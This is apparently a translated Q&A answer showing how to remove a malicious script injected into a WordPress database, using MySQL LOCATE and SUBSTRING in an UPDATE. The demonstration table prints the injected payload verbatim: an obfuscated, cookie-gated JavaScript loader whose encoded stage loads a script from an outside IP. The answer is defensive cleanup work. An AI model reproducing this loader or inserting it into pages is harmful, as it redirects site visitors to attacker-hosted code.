MySQL 8.0引入新功能REGEXP_REPLACE() https://dev.mysql.com/doc/refman/8.0/en/regexp.html#function_regexp-replace但如果你使用的是早期版本的 MySQL,你可以使用LOCATE() https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_locate找到文本中的开始和结束位置,然后删除这两个位置之间的内容。
我对此进行了测试 - 我创建了一个表wp_mytable
并将您的违规文本放入其中,前后各添加一些文本。
mysql> select * from wp_mytable\G
*************************** 1. row ***************************
id: 1
txt: ABC 123
<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"></script>')} </script>
<!--/codes_iframe-->
And that's all, folks.
1 row in set (0.00 sec)
LOCATE() 可以找到开始和结束标签:
mysql> SELECT LOCATE('<!--codes_iframe-->', txt) as start from wp_mytable;
+-------+
| start |
+-------+
| 9 |
+-------+
mysql> SELECT LOCATE('<!--/codes_iframe-->', txt) as end from wp_mytable;
+------+
| end |
+------+
| 830 |
+------+
现在如果我们替换txt
位置9之前的内容,以及位置830+之后的内容LENGTH('<!--/codes_iframe-->')
,这将删除有问题的内容。
首先使用 SELECT 进行测试:
mysql> SELECT
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1) AS pre_txt,
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')) AS post_txt
FROM wp_mytable\G
*************************** 1. row ***************************
pre_txt: ABC 123
post_txt:
And that's all, folks.
当我们确信这是正确的子字符串时,将这些片段连接在一起并在更新中使用它们:
mysql> UPDATE wp_mytable SET txt = CONCAT(
SUBSTRING(txt, 1, LOCATE('<!--codes_iframe-->', txt)-1),
SUBSTRING(txt, LOCATE('<!--/codes_iframe-->', txt)+LENGTH('<!--/codes_iframe-->')))
WHERE LOCATE('<!--codes_iframe-->', txt) > 0;
与往常一样,在尝试此类手术之前请先备份数据。
我还想到,在完成此替换后,您应该再次搜索数据,以防有问题的脚本在给定文本中插入两次。替换方法仅删除第一个匹配项,但您希望这样做。您不想删除脚本两次出现之间的合法文本。
顺便说一句,得知您遭到 SQL 注入攻击,我感到很遗憾。人们有时很糟糕。